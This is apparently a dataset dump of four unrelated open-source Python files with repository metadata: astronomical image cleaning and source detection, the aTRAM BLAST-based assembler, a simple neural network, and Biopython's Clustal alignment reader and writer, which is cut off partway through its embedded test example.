rgrow=None, random_state=None, bright_object_mask=True, min_pix_low_thresh=0): """ Clean image of bright sources and associated diffuse regions by replacing them with sky noise. Also, remove low-threshold regions that are smaller than min_pix_low_thresh. Parameters ---------- exposure : lsst.afw.image.ExposureF Exposure object with masks from hugsPipe.run. fpset_low : lsst.afw.detection.FootprintSet Low threshold footprints. name_high : string, optional The name of the high-threshold bit plane. max_frac_high_thresh : float, optional Maximum fraction of high-thresh pixels to keep footprint. rgrow : int, optional Number of pixels to grow footprints. random_state : int, list of ints, RandomState instance, or None, optional If int or list of ints, random_state is the rng seed. If RandomState instance, random_state is the rng. If None, the rng is the RandomState instance used by np.random. Returns ------- exp_clean : lsst.afw.ExposureF The cleaned exposure object. """ # generate array of gaussian noise mi = exposure.getMaskedImage() mask = mi.getMask() noise_array = utils.make_noise_image(mi, random_state) # associate high thresh with low thresh and find small fps fpset_replace = afwDet.FootprintSet(mi.getBBox()) fp_list = [] for fp in fpset_low.getFootprints(): hfp = afwDet.HeavyFootprintF(fp, mi) pix = hfp.getMaskArray() bits_hi = (pix & mask.getPlaneBitMask(name_high)!=0).sum() if bits_hi>0: ratio = bits_hi/float(fp.getArea()) if ratio > max_frac_high_thresh: fp_list.append(fp) else: if fp.getArea() < min_pix_low_thresh: fp_list.append(fp) fpset_replace.setFootprints(fp_list) if rgrow: fpset_replace = afwDet.FootprintSet(fpset_replace, rgrow, True) mask.addMaskPlane('CLEANED') fpset_replace.setMask(mask, 'CLEANED') # create new exposure and replace footprints with noise exp_clean = exposure.clone() mi_clean = exp_clean.getMaskedImage() replace = mask.getArray() & mask.getPlaneBitMask('CLEANED') != 0 if bright_object_mask: replace |= mask.getArray() & mask.getPlaneBitMask('BRIGHT_OBJECT') != 0 mi_clean.getImage().getArray()[replace] = noise_array[replace] return exp_clean def clean_use_hsc_mask(exposure, ref_plane='THRESH_HIGH', rgrow=None, random_state=None, bright_object_mask=True): # generate array of gaussian noise mi = exposure.getMaskedImage() mask = mi.getMask() noise_array = utils.make_noise_image(mi, random_state) threshold = afwDet.Threshold(mask.getPlaneBitMask(['DETECTED'])) fp_det = afwDet.FootprintSet(mask, threshold, afwDet.Threshold.BITMASK) fp_list = [] for fp in fp_det.getFootprints(): hfp = afwDet.HeavyFootprintF(fp, mi) pix = hfp.getMaskArray() check = (pix & mask.getPlaneBitMask(ref_plane)!=0).sum() if check > 0: fp_list.append(fp) fpset_replace = afwDet.FootprintSet(mi.getBBox()) fpset_replace.setFootprints(fp_list) if rgrow: fpset_replace = afwDet.FootprintSet(fpset_replace, rgrow, True) mask.addMaskPlane('CLEANED') fpset_replace.setMask(mask, 'CLEANED') exp_clean = exposure.clone() mi_clean = exp_clean.getMaskedImage() replace = mask.getArray() & mask.getPlaneBitMask('CLEANED') != 0 if bright_object_mask: replace |= mask.getArray() & mask.getPlaneBitMask('BRIGHT_OBJECT') != 0 mi_clean.getImage().getArray()[replace] = noise_array[replace] return exp_clean def remove_small_sources_thresholding(exposure, min_radius_arcsec, random_state=None): mi = exposure.getMaskedImage() mask = mi.getMask() noise_array = utils.make_noise_image(mi, random_state) threshold = afwDet.Threshold(mask.getPlaneBitMask(['DETECTED'])) fp_det = afwDet.FootprintSet(mask, threshold, afwDet.Threshold.BITMASK) area_min = np.pi * (min_radius_arcsec / utils.pixscale)**2 fp_list = [] for fp in fp_det.getFootprints(): if fp.getArea() < area_min: fp_list.append(fp) fp_small = afwDet.FootprintSet(mi.getBBox()) fp_small.setFootprints(fp_list) mask.addMaskPlane('SMALL') fp_small.setMask(mask, 'SMALL') exp_clean = exposure.clone() mi_clean = exp_clean.getMaskedImage() replace = mask.getArray() & mask.getPlaneBitMask('SMALL') != 0 mi_clean = exp_clean.getMaskedImage() mi_clean.getImage().getArray()[replace] = noise_array[replace] return exp_clean def detect_sources(exp, sex_config, sex_io_dir, dual_exp=None, delete_created_files=True, label='hugs', original_fn=None): """ Source detection using SExtractor. Parameters ---------- exp : lsst.afw.image.ExposureF Exposure object to run sextractor on. sex_config : dict SExtractor configuration that is is different for its default. sex_io_dir : str Input/output directory for files needed to run SExtractor. dual_exp : lsst.afw.image.ExposureF, optional Dual exposure for forced photometry. delete_created_files : bool, optional If True, remove all files created for and by SExtractor. label : str Label for this run. Returns ------- cat : astropy.table.Table SExtractor catalog. """ sw = sextractor.Wrapper(sex_config, sex_io_dir) ######################################################### # write exposure for sextractor input and run ######################################################### detect_band = exp.getFilter().getName().lower() # some bands have numbers --> get the relevant letter detect_band = [b for b in detect_band if b in 'gri'][0] exp_fn = sw.get_io_dir('exp-{}-{}.fits'.format(label, detect_band)) # HACK: work around strange new bug related to SEXtractor if original_fn is None: exp.writeFits(exp_fn) else: header = fits.getheader(original_fn, ext=1) fits.writeto(exp_fn, exp.getImage().getArray(), header, overwrite=True) if dual_exp is not None: meas_band = dual_exp.getFilter().getName().lower() meas_band = [b for b in meas_band if b in 'gri'][0] dual_fn = sw.get_io_dir('exp-{}-{}.fits'.format(label, meas_band)) # HACK: work around strange new bug related to SEXtractor if original_fn is None: dual_exp.writeFits(dual_fn) else: fn = original_fn.replace('HSC-'+detect_band.upper(), 'HSC-'+meas_band.upper()) header = fits.getheader(fn, ext=1) fits.writeto(dual_fn, dual_exp.getImage().getArray(), header, overwrite=True) run_fn = exp_fn+'[1],'+dual_fn+'[1]' cat_label = 'sex-{}-{}-{}'.format(label, detect_band, meas_band) else: meas_band = detect_band cat_label = 'sex-{}-{}'.format(label, detect_band) run_fn = exp_fn+'[1]' cat_fn = sw.get_io_dir(cat_label+'.cat') ######################################################### # run SExtactor and get catalog ######################################################### sw.run(run_fn, cat_fn=cat_fn) cat = sextractor.read_cat(sw.get_io_dir(cat_fn)) if len(cat)>0: ######################################################### # only save positions from the primary detection band ######################################################### detect_band_only = [ 'X_IMAGE', 'Y_IMAGE', 'ALPHA_J2000', 'DELTA_J2000', 'FLAGS', 'PETRO_RADIUS', 'THETA_IMAGE', 'A_IMAGE', 'B_IMAGE', 'ELLIPTICITY', 'KRON_RADIUS' ] ebv = dustmap.ebv(cat['ALPHA_J2000'], cat['DELTA_J2000']) if meas_band==detect_band: x0, y0 = exp.getXY0() cat['X_IMAGE'] -= 1 cat['Y_IMAGE'] -= 1 cat['X_HSC'] = cat['X_IMAGE'] + x0 cat['Y_HSC'] = cat['Y_IMAGE'] + y0 detect_band_only.append('X_HSC') detect_band_only.append('Y_HSC') else: cat.remove_columns(detect_band_only) ######################################################### # rename columns, change units of flux_radius and # fwhm_image to arcsec, add extinction params ######################################################### cat.rename_column('MAG_APER', 'MAG_APER_0') cat.rename_column('MAGERR_APER', 'MAGERR_APER_0') cat.rename_column('FLUX_RADIUS', 'FLUX_RADIUS_0') for i, diam in enumerate(sex_config['PHOT_APERTURES'].split(',')): cat.rename_column('MAG_APER_'+str(i), 'mag_ap'+str(i)) cat.rename_column('MAGERR_APER_'+str(i), 'magerr_ap'+str(i)) for i, frac in enumerate(sex_config['PHOT_FLUXFRAC'].split(',')): frac = str(int(100 * float(frac))) cat.rename_column('FLUX_RADIUS_'+str(i), 'flux_radius_'+frac) cat['flux_radius_'+frac] *= utils.pixscale cat['FWHM_IMAGE'] = cat['FWHM_IMAGE']*utils.pixscale cat.rename_column('FWHM_IMAGE', 'FWHM') for name in cat.colnames: if name not in detect_band_only: cat.rename_column(name, name.lower()+'_'+meas_band) else: cat.rename_column(name, name.lower()) if meas_band==detect_band: cat.rename_column('alpha_j2000', 'ra') cat.rename_column('delta_j2000', 'dec') cat['ebv'] = ebv cat['A_'+meas_band] = ebv*getattr(utils.ext_coeff, meas_band) ######################################################### # delete files created by and for sextractor ######################################################### if delete_created_files: if dual_exp is not None: os.remove(dual_fn) os.remove(exp_fn) os.remove(cat_fn) return cat def measure_morphology_metrics(image, sources, scale_size=3): gini_full = [] gini_1 = [] gini_1p5 = [] gini_2 = [] gini_1p5_circ = [] gini_2_circ = [] acorr_peak = [] acorr_bkgd = [] for src in sources: try: centroid = [src['x_image'], src['y_image']] cutout = Cutout2D(image, centroid, src['flux_radius_65_g'] * scale_size / pixscale) x_shift = cutout.center_original[0] - cutout.center_cutout[0] y_shift = cutout.center_original[1] - cutout.center_cutout[1] centroid = [src['x_image'] - x_shift, src['y_image'] - y_shift] morph = Morphology(cutout.data, centroid, src['a_image'], src['b_image'], src['ellipticity'], src['theta_image']) _, circ_mean, ann_mean = morph.autocorr(1.5) acorr_peak.append(circ_mean) acorr_bkgd.append(ann_mean) gini_full.append(morph.gini(0)) gini_1.append(morph.gini(1)) gini_1p5.append(morph.gini(1.5)) gini_2.append(morph.gini(2)) gini_1p5_circ.append(morph.gini(1.5, 3)) gini_2_circ.append(morph.gini(2, 3)) except: acorr_peak.append(np.nan) acorr_bkgd.append(np.nan) gini_full.append(np.nan) gini_1.append(np.nan) gini_1p5.append(np.nan) gini_2.append(np.nan) gini_1p5_circ.append(np.nan) gini_2_circ.append(np.nan) sources['gini_full'] = gini_full sources['gini_1'] = gini_1 sources['gini_1p5'] = gini_1p5 sources['gini_2'] = gini_2 sources['gini_1p5_circ'] = gini_1p5_circ sources['gini_2_circ'] = gini_2_circ sources['acorr_peak'] = acorr_peak sources['acorr_bkgd'] = acorr_bkgd acorr_bkgd = np.array(acorr_bkgd) acorr_bkgd[acorr_bkgd==0] = np.nan sources['acorr_ratio'] = np.array(acorr_peak) / acorr_bkgd
johnnygreco/hugs
hugs/primitives.py
Python
mit
14,924
[ "Gaussian" ]
3f144fda4aa8ad46fb4f5aa8a921e5a6ff8b8c598e4be8e46deb87a9ded3140f
"""Build assemblies using the aTRAM algorithm..""" import os import re from multiprocessing import Pool from os.path import basename, join, split, splitext from subprocess import TimeoutExpired from Bio import SeqIO from . import assembler as assembly, bio, blast, db, db_atram, util from .log import Logger def assemble(args): """Loop thru every blast/query pair and run an assembly for each one.""" with util.make_temp_dir( where=args['temp_dir'], prefix='atram_', keep=args['keep_temp_dir']) as temp_dir: util.update_temp_dir(temp_dir, args) queries = split_queries(args) for blast_db in args['blast_db']: with db.connect(blast_db, check_version=True) as cxn: for query in queries: db.aux_db(cxn, args['temp_dir'], blast_db, query) clean_database(cxn) log = Logger(args['log_file'], args['log_level']) log.header() assembler = assembly.factory(args, cxn, log) try: assembly_loop(args, log, assembler, blast_db, query) except (TimeoutExpired, TimeoutError, RuntimeError): pass except Exception as err: # pylint: disable=broad-except log.error('Exception: {}'.format(err)) finally: assembler.write_final_output(blast_db, query) db.aux_detach(cxn) def assembly_loop(args, log, assembler, blast_db, query): """Iterate over the assembly processes.""" for iteration in range(1, assembler.args['iterations'] + 1): log.info('aTRAM blast DB = "{}", query = "{}", iteration {}'.format( blast_db, split(query)[1], iteration)) assembler.init_iteration(blast_db, query, iteration) with util.make_temp_dir( where=args['temp_dir'], prefix=assembler.file_prefix(), keep=args['keep_temp_dir']) as iter_dir: assembler.setup_files(iter_dir) query = assembly_loop_iteration(args, log, assembler) if not query: break else: log.info('All iterations completed') def assembly_loop_iteration(args, log, assembler): """One iteration of the assembly loop.""" blast_query_against_all_shards(log, assembler) count = assembler.count_blast_hits() if assembler.blast_only or count == 0: return False assembler.write_input_files() assembler.run() if assembler.nothing_assembled(): return False high_score = filter_contigs(log, assembler) count = assembler.assembled_contigs_count(high_score) if not count: return False if assembler.no_new_contigs(count): return False return create_query_from_contigs(args, log, assembler) def split_queries(args): """ Create query target for every query and query-split file. We put each query record into its own file for blast queries. """ if not args.get('query_split'): return args['query'][:] queries = [] path = join(args['temp_dir'], 'queries') os.makedirs(path, exist_ok=True) for query_path in args['query_split']: query_name = splitext(basename(query_path))[0] with open(query_path) as query_file: for i, rec in enumerate(SeqIO.parse(query_file, 'fasta'), 1): query_id = re.sub(r'\W+', '_', rec.id) query_file = join( path, '{}_{}_{}.fasta'.format(query_name, query_id, i)) write_query_seq(query_file, rec.id, str(rec.seq)) queries.append(query_file) if not args.get('protein'): args['protein'] = bio.fasta_file_has_protein(queries) return queries def write_query_seq(file_name, seq_id, seq): """Write the sequence to a fasta file.""" with open(file_name, 'w') as query_file: util.write_fasta_record(query_file, seq_id, seq) def clean_database(cxn): """Create database tables for an atram run.""" db_atram.create_sra_blast_hits_table(cxn) db_atram.create_contig_blast_hits_table(cxn) db_atram.create_assembled_contigs_table(cxn) def blast_query_against_all_shards(log, assembler): """ Blast the query against the SRA databases. We're using a map-reduce strategy here. We map the blasting of the query sequences and reduce the output into one fasta file. """ log.info('Blasting query against shards: iteration {}'.format( assembler.state['iteration'])) all_shards = shard_fraction(log, assembler) with Pool(processes=assembler.args['cpus']) as pool: results = [pool.apply_async( blast_query_against_one_shard, (assembler.args, assembler.simple_state(), shard)) for shard in all_shards] all_results = [result.get() for result in results] insert_blast_results( all_shards, assembler.args, assembler.simple_state(), log) log.info('All {} blast results completed'.format(len(all_results))) def insert_blast_results(all_shards, args, state, log): """Add all blast results to the auxiliary database.""" with db.connect(state['blast_db']) as cxn: db.aux_db( cxn, args['temp_dir'], state['blast_db'], state['query_target']) for shard in all_shards: shard = basename(shard) batch = [] output_file = blast.output_file_name(state['iter_dir'], shard) hits = blast.hits(log, output_file) is_single_end = db.is_single_end(cxn) for hit in hits: seq_name, seq_end = blast.parse_blast_title( hit['title'], is_single_end) batch.append((state['iteration'], seq_end, seq_name, shard)) db_atram.insert_blast_hit_batch(cxn, batch) db.aux_detach(cxn) def blast_query_against_one_shard(args, state, shard): """Blast the query against one blast DB shard.""" log = Logger(args['log_file'], args['log_level']) output_file = blast.output_file_name(state['iter_dir'], shard) blast.against_sra(args, log, state, output_file, shard) def shard_fraction(log, assembler): """ Get the shards we are using. We may not want the entire DB for highly redundant libraries. """ all_shards = blast.all_shard_paths(log, assembler.state['blast_db']) last_index = int(len(all_shards) * assembler.args['fraction']) return all_shards[:last_index] def filter_contigs(log, assembler): """Remove junk from the assembled contigs.""" log.info('Saving assembled contigs: iteration {}'.format( assembler.state['iteration'])) blast_db = blast.temp_db_name( assembler.state['iter_dir'], assembler.state['blast_db']) hits_file = blast.output_file_name( assembler.state['iter_dir'], assembler.state['blast_db']) blast.create_db( log, assembler.state['iter_dir'], assembler.file['output'], blast_db) blast.against_contigs( log, blast_db, assembler.state['query_target'], hits_file, protein=assembler.args['protein'], blast_db_gencode=assembler.args['blast_db_gencode'], temp_dir=assembler.args['temp_dir'], timeout=assembler.args['timeout']) save_blast_against_contigs(log, assembler, hits_file) all_hits = {row['contig_id']: row for row in db_atram.get_contig_blast_hits( assembler.state['cxn'], assembler.state['iteration'])} return save_contigs(assembler, all_hits) def save_blast_against_contigs(log, assembler, hits_file): """Save all of the blast hits.""" batch = [] for hit in blast.hits(log, hits_file): contig_id = assembler.parse_contig_id(hit['title']) batch.append(( assembler.state['iteration'], contig_id, hit['title'], hit['bit_score'], hit['len'], hit['query_from'], hit['query_to'], hit.get('query_strand', ''), hit['hit_from'], hit['hit_to'], hit.get('hit_strand', ''))) db_atram.insert_contig_hit_batch(assembler.state['cxn'], batch) def save_contigs(assembler, all_hits): """Save the contigs to the database.""" batch = [] high_score = 0 with open(assembler.file['output']) as in_file: for contig in SeqIO.parse(in_file, 'fasta'): contig_id = assembler.parse_contig_id(contig.description) if contig_id in all_hits: hit = all_hits[contig_id] batch.append(( assembler.state['iteration'], contig.id, str(contig.seq), contig.description, hit['bit_score'], hit['len'], hit['query_from'], hit['query_to'], hit['query_strand'], hit['hit_from'], hit['hit_to'], hit['hit_strand'])) db_atram.insert_assembled_contigs_batch(assembler.state['cxn'], batch) return high_score def create_query_from_contigs(args, log, assembler): """Crate a new file with the contigs used as the next query.""" log.info('Creating new query files: iteration {}'.format( assembler.state['iteration'])) query_dir = join(args['temp_dir'], 'queries') os.makedirs(query_dir, exist_ok=True) query_file = assembler.file_prefix() + 'long_reads.fasta' query = join(query_dir, query_file) assembler.file['long_reads'] = query with open(query, 'w') as query_file: for row in db_atram.get_assembled_contigs( assembler.state['cxn'], assembler.state['iteration'], assembler.args['bit_score'], assembler.args['contig_length']): util.write_fasta_record(query_file, row[0], row[1]) return query
juliema/aTRAM
lib/core_atram.py
Python
bsd-3-clause
10,236
[ "BLAST" ]
4bfaf0e88f3d4d7c66a0b79dbaac5be57c85ae154584f5ec9fd6985ed067e6dd
""" Author: Cole Howard Title: Finnegan An extinsible neural net designed to explore Convolutional Neural Networks and Recurrent Neural Networks via extensive visualizations. """ import numpy as np from sklearn.preprocessing import normalize from layer import Layer # from matplotlib import cm # from matplotlib import pyplot as plt # import warnings # warnings.filterwarnings("ignore", category=DeprecationWarning) class Network: """ A multi layer neural net with backpropogation. Parameters ---------- layers : int Number of layers to use in the network. neuron_count : list A list of integers that represent the number of neurons present in each hidden layer. (Size of input/output layers are dictated by dataset) vector : list Example vector to get size of initial input Attributes ---------- possible : list A list of possible output values """ def __init__(self, layers, neuron_count, vector): self.num_layers = layers self.neuron_count = neuron_count self.possible = [x for x in range(10)] self.layers = [Layer(self.neuron_count[x], self.neuron_count[x-1]) if x > 0 else Layer(self.neuron_count[x], len(vector)) for x in range(self.num_layers)] def _pass_through_net(self, vector, dropout=True): """ Sends a vector into the net Parameters ---------- vector : numpy array A numpy array representing a training input (without the target) dropout : bool Whether or not you should perform random dropout in the pass through the net. (Set False for the tesing set vectors) Returns ------- numpy array Output of the last layer in the chain """ for x, _ in enumerate(self.layers): vector = self.layers[x]._vector_pass(vector, dropout) return vector def _softmax(self, w, t=1.0): """Author: Jeremy M. Stober, edits by Martin Thoma Program: softmax.py Date: Wednesday, February 29 2012 and July 31 2014 Description: Simple softmax function. Calculate the softmax of a list of numbers w. Parameters ---------- w : list of numbers t : float Return ------ a list of the same length as w of non-negative numbers Examples -------- >>> softmax([0.1, 0.2]) array([ 0.47502081, 0.52497919]) >>> softmax([-0.1, 0.2]) array([ 0.42555748, 0.57444252]) >>> softmax([0.9, -10]) array([ 9.99981542e-01, 1.84578933e-05]) >>> softmax([0, 10]) array([ 4.53978687e-05, 9.99954602e-01]) """ e_x = np.exp(w - np.max(w)) out = e_x / e_x.sum() return out def _backprop(self, guess_vector, target_vector): """ Takes the output of the net and initiates the backpropogation In output layer: generate error matrix [(out * (1-out) * (Target-out)) for each neuron] update weights matrix [[+= l_rate * error_entry * input TO that amount] for each neuron ] In hidden layer generate error matrix [out * (1-out) * dotproduct(entry in n+1 error matrix, n+1 weight of that entry)] update weights matrix [[+= l_rate for each weight] for each neuron] Parameters ---------- guess_vector : numpy array The output from the last layer during a training pass target_vector : list List of expected values Attributes ---------- Returns ------- True As evidence of execution """ backwards_layer_list = list(reversed(self.layers)) for i, layer in enumerate(backwards_layer_list): if i == 0: hidden = False layer_ahead = None else: hidden = True layer_ahead = backwards_layer_list[i-1] if layer._layer_level_backprop(guess_vector, layer_ahead, target_vector, hidden): continue else: print("Backprop failed on layer: " + str(i)) for layer in self.layers: layer._update_weights() # for layer in self.layers: # layer.error_matrix = [] return True def train(self, dataset, answers, epochs): """ Runs the training dataset through the network a given number of times. Parameters ---------- dataset : Numpy nested array The collection of training data (vectors and the associated target value) answers : numpy array The array of correct answers to associate with each training vector epochs : int Number of times to run the training set through the net """ for x in range(epochs): for vector, target in zip(dataset, answers): target_vector = [0 if x != target else 1 for x in self.possible] vector = np.array(vector).reshape(1, -1) vector = vector.astype(float) vector = normalize(vector, copy=False)[0] y = self._pass_through_net(vector) z = self._softmax(y) self._backprop(z, target_vector) amt_off = np.mean(np.abs(self.layers[self.num_layers-1].error)) print(amt_off) if amt_off < .000000001: break def run_unseen(self, test_set): """ Makes guesses on the unseen data, and switches over the test answers to validation set if the bool is True For each vector in the collection, each neuron in turn will either fire or not. If a vector fires, it is collected as a possible correct guess. Not firing is collected as well, in case there an no good guesses at all. The method will choose the vector with the highest dot product, from either the fired list or the dud list. Parameters ---------- test_set : list List of numpy arrays representing the unseen vectors Returns ------- list a list of ints (the guesses for each vector) """ guess_list = [] for vector in test_set: vector = np.array(vector).reshape(1, -1) vector = vector.astype(float) temp = self._pass_through_net(normalize(vector, copy=False)[0], dropout=False) guess_list.append(temp.argmax()) return guess_list def report_results(self, guess_list, answers): """ Reports results of guesses on unseen set Parameters ---------- guess_list : list answers : list """ successes = 0 for idx, item in enumerate(guess_list): if answers[idx] == item: successes += 1 print(guess_list) print("Successes: {} Out of total: {}".format(successes, len(guess_list))) print("For a success rate of: ", successes/len(guess_list)) def visualization(self, vector, vector_name): y = np.reshape(vector, (28, 28)) plt.imshow(y, cmap=cm.Greys_r) plt.suptitle(vector_name) plt.axis('off') plt.pause(0.0001) plt.show() if __name__ == '__main__': print("Please use net_launch.py")
uglyboxer/finnegan
finnegan/network.py
Python
mit
7,625
[ "NEURON" ]
5305d71187fd866af64a3f6a867c47b6423789b214ee2964fbd0f0d564e814ae
# Copyright 2006-2010 by Peter Cock. All rights reserved. # # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. """ Bio.AlignIO support for the "clustal" output from CLUSTAL W and other tools. You are expected to use this module via the Bio.AlignIO functions (or the Bio.SeqIO functions if you want to work directly with the gapped sequences). """ from Bio.Seq import Seq from Bio.SeqRecord import SeqRecord from Bio.Align import MultipleSeqAlignment from Interfaces import AlignmentIterator, SequentialAlignmentWriter class ClustalWriter(SequentialAlignmentWriter): """Clustalw alignment writer.""" def write_alignment(self, alignment): """Use this to write (another) single alignment to an open file.""" if len(alignment) == 0: raise ValueError("Must have at least one sequence") if alignment.get_alignment_length() == 0: #This doubles as a check for an alignment object raise ValueError("Non-empty sequences are required") #Old versions of the parser in Bio.Clustalw used a ._version property, try: version = str(alignment._version) except AttributeError: version = "" if not version: version = '1.81' if version.startswith("2."): #e.g. 2.0.x output = "CLUSTAL %s multiple sequence alignment\n\n\n" % version else: #e.g. 1.81 or 1.83 output = "CLUSTAL X (%s) multiple sequence alignment\n\n\n" % version cur_char = 0 max_length = len(alignment[0]) if max_length <= 0: raise ValueError("Non-empty sequences are required") # keep displaying sequences until we reach the end while cur_char != max_length: # calculate the number of sequences to show, which will # be less if we are at the end of the sequence if (cur_char + 50) > max_length: show_num = max_length - cur_char else: show_num = 50 # go through all of the records and print out the sequences # when we output, we do a nice 80 column output, although this # may result in truncation of the ids. for record in alignment: #Make sure we don't get any spaces in the record #identifier when output in the file by replacing #them with underscores: line = record.id[0:30].replace(" ","_").ljust(36) line += record.seq[cur_char:(cur_char + show_num)].tostring() output += line + "\n" # now we need to print out the star info, if we've got it # This was stored by Bio.Clustalw using a ._star_info property. if hasattr(alignment, "_star_info") and alignment._star_info != '': output += (" " * 36) + \ alignment._star_info[cur_char:(cur_char + show_num)] + "\n" output += "\n" cur_char += show_num # Want a trailing blank new line in case the output is concatenated self.handle.write(output + "\n") class ClustalIterator(AlignmentIterator): """Clustalw alignment iterator.""" def next(self): handle = self.handle try: #Header we saved from when we were parsing #the previous alignment. line = self._header del self._header except AttributeError: line = handle.readline() if not line: raise StopIteration #Whitelisted headers we know about known_headers = ['CLUSTAL', 'PROBCONS', 'MUSCLE'] if line.strip().split()[0] not in known_headers: raise ValueError("%s is not a known CLUSTAL header: %s" % \ (line.strip().split()[0], ", ".join(known_headers))) # find the clustal version in the header line version = None for word in line.split(): if word[0]=='(' and word[-1]==')': word = word[1:-1] if word[0] in '0123456789': version = word break #There should be two blank lines after the header line line = handle.readline() while line.strip() == "": line = handle.readline() #If the alignment contains entries with the same sequence #identifier (not a good idea - but seems possible), then this #dictionary based parser will merge their sequences. Fix this? ids = [] seqs = [] consensus = "" seq_cols = None #: Used to extract the consensus #Use the first block to get the sequence identifiers while True: if line[0] != " " and line.strip() != "": #Sequences identifier... fields = line.rstrip().split() #We expect there to be two fields, there can be an optional #"sequence number" field containing the letter count. if len(fields) < 2 or len(fields) > 3: raise ValueError("Could not parse line:\n%s" % line) ids.append(fields[0]) seqs.append(fields[1]) #Record the sequence position to get the consensus if seq_cols is None: start = len(fields[0]) + line[len(fields[0]):].find(fields[1]) end = start + len(fields[1]) seq_cols = slice(start, end) del start, end assert fields[1] == line[seq_cols] if len(fields) == 3: #This MAY be an old style file with a letter count... try: letters = int(fields[2]) except ValueError: raise ValueError("Could not parse line, bad sequence number:\n%s" % line) if len(fields[1].replace("-","")) != letters: raise ValueError("Could not parse line, invalid sequence number:\n%s" % line) elif line[0] == " ": #Sequence consensus line... assert len(ids) == len(seqs) assert len(ids) > 0 assert seq_cols is not None consensus = line[seq_cols] assert not line[:seq_cols.start].strip() assert not line[seq_cols.stop:].strip() #Check for blank line (or end of file) line = handle.readline() assert line.strip() == "" break else: #No consensus break line = handle.readline() if not line : break #end of file assert line.strip() == "" assert seq_cols is not None #Confirm all same length for s in seqs: assert len(s) == len(seqs[0]) if consensus: assert len(consensus) == len(seqs[0]) #Loop over any remaining blocks... done = False while not done: #There should be a blank line between each block. #Also want to ignore any consensus line from the #previous block. while (not line) or line.strip() == "": line = handle.readline() if not line : break # end of file if not line : break # end of file if line.split(None,1)[0] in known_headers: #Found concatenated alignment. done = True self._header = line break for i in range(len(ids)): assert line[0] != " ", "Unexpected line:\n%s" % repr(line) fields = line.rstrip().split() #We expect there to be two fields, there can be an optional #"sequence number" field containing the letter count. if len(fields) < 2 or len(fields) > 3: raise ValueError("Could not parse line:\n%s" % repr(line)) if fields[0] != ids[i]: raise ValueError("Identifiers out of order? Got '%s' but expected '%s'" \ % (fields[0], ids[i])) if fields[1] != line[seq_cols]: start = len(fields[0]) + line[len(fields[0]):].find(fields[1]) assert start == seq_cols.start, 'Old location %s -> %i:XX' % (seq_cols, start) end = start + len(fields[1]) seq_cols = slice(start, end) del start, end #Append the sequence seqs[i] += fields[1] assert len(seqs[i]) == len(seqs[0]) if len(fields) == 3: #This MAY be an old style file with a letter count... try: letters = int(fields[2]) except ValueError: raise ValueError("Could not parse line, bad sequence number:\n%s" % line) if len(seqs[i].replace("-","")) != letters: raise ValueError("Could not parse line, invalid sequence number:\n%s" % line) #Read in the next line line = handle.readline() #There should now be a consensus line if consensus: assert line[0] == " " assert seq_cols is not None consensus += line[seq_cols] assert len(consensus) == len(seqs[0]) assert not line[:seq_cols.start].strip() assert not line[seq_cols.stop:].strip() #Read in the next line line = handle.readline() assert len(ids) == len(seqs) if len(seqs) == 0 or len(seqs[0]) == 0: raise StopIteration if self.records_per_alignment is not None \ and self.records_per_alignment != len(ids): raise ValueError("Found %i records in this alignment, told to expect %i" \ % (len(ids), self.records_per_alignment)) records = (SeqRecord(Seq(s, self.alphabet), id=i, description=i) \ for (i,s) in zip(ids, seqs)) alignment = MultipleSeqAlignment(records, self.alphabet) #TODO - Handle alignment annotation better, for now #mimic the old parser in Bio.Clustalw if version: alignment._version = version if consensus: alignment_length = len(seqs[0]) assert len(consensus) == alignment_length, \ "Alignment length is %i, consensus length is %i, '%s'" \ % (alignment_length, len(consensus), consensus) alignment._star_info = consensus return alignment if __name__ == "__main__": print "Running a quick self-test" #This is a truncated version of the example in Tests/cw02.aln #Notice the inclusion of sequence numbers (right hand side) aln_example1 = \ """CLUSTAL W (1.81) multiple sequence alignment gi|4959044|gb|AAD34209.1|AF069 MENSDSNDKGSDQSAAQRRSQMDRLDREEAFYQFVNNLSEEDYRLMRDNN 50 gi|671626|emb|CAA85685.1| ---------MSPQTETKASVGFKAGVKEYKLTYYTPEYETKDTDILAAFR 41 * *: :: :. :* : :. : . :* :: . gi|4959044|gb|AAD34209.1|AF069 LLGTPGESTEEELLRRLQQIKEGPPPQSPDENRAGESSDDVTNSDSIIDW 100 gi|671626|emb|CAA85685.1| VTPQPG-----------------VPPEEAGAAVAAESSTGT--------- 65 : ** **:... *.*** .. gi|4959044|gb|AAD34209.1|AF069 LNSVRQTGNTTRSRQRGNQSWRAVSRTNPNSGDFRFSLEINVNRNNGSQT 150 gi|671626|emb|CAA85685.1| WTTVWTDGLTSLDRYKG-----RCYHIEPVPG------------------ 92 .:* * *: .* :* : :* .* gi|4959044|gb|AAD34209.1|AF069 SENESEPSTRRLSVENMESSSQRQMENSASESASARPSRAERNSTEAVTE 200 gi|671626|emb|CAA85685.1| -EKDQCICYVAYPLDLFEEGSVTNMFTSIVGNVFGFKALRALRLEDLRIP 141 *::. . .:: :*..* :* .* .. . : . : gi|4959044|gb|AAD34209.1|AF069 VPTTRAQRRA 210 gi|671626|emb|CAA85685.1| VAYVKTFQGP 151 *. .:: : . """ #This example is a truncated version of the dataset used here: #http://virgil.ruc.dk/kurser/Sekvens/Treedraw.htm #with the last record repeated twice (deliberate toture test) aln_example2 = \ """CLUSTAL X (1.83) multiple sequence alignment V_Harveyi_PATH --MKNWIKVAVAAIA--LSAA------------------TVQAATEVKVG B_subtilis_YXEM MKMKKWTVLVVAALLAVLSACG------------NGNSSSKEDDNVLHVG B_subtilis_GlnH_homo_YCKK MKKALLALFMVVSIAALAACGAGNDNQSKDNAKDGDLWASIKKKGVLTVG YA80_HAEIN MKKLLFTTALLTGAIAFSTF-----------SHAGEIADRVEKTKTLLVG FLIY_ECOLI MKLAHLGRQALMGVMAVALVAG---MSVKSFADEG-LLNKVKERGTLLVG E_coli_GlnH --MKSVLKVSLAALTLAFAVS------------------SHAADKKLVVA Deinococcus_radiodurans -MKKSLLSLKLSGLLVPSVLALS--------LSACSSPSSTLNQGTLKIA HISJ_E_COLI MKKLVLSLSLVLAFSSATAAF-------------------AAIPQNIRIG HISJ_E_COLI MKKLVLSLSLVLAFSSATAAF-------------------AAIPQNIRIG : . : :. V_Harveyi_PATH MSGRYFPFTFVKQ--DKLQGFEVDMWDEIGKRNDYKIEYVTANFSGLFGL B_subtilis_YXEM ATGQSYPFAYKEN--GKLTGFDVEVMEAVAKKIDMKLDWKLLEFSGLMGE B_subtilis_GlnH_homo_YCKK 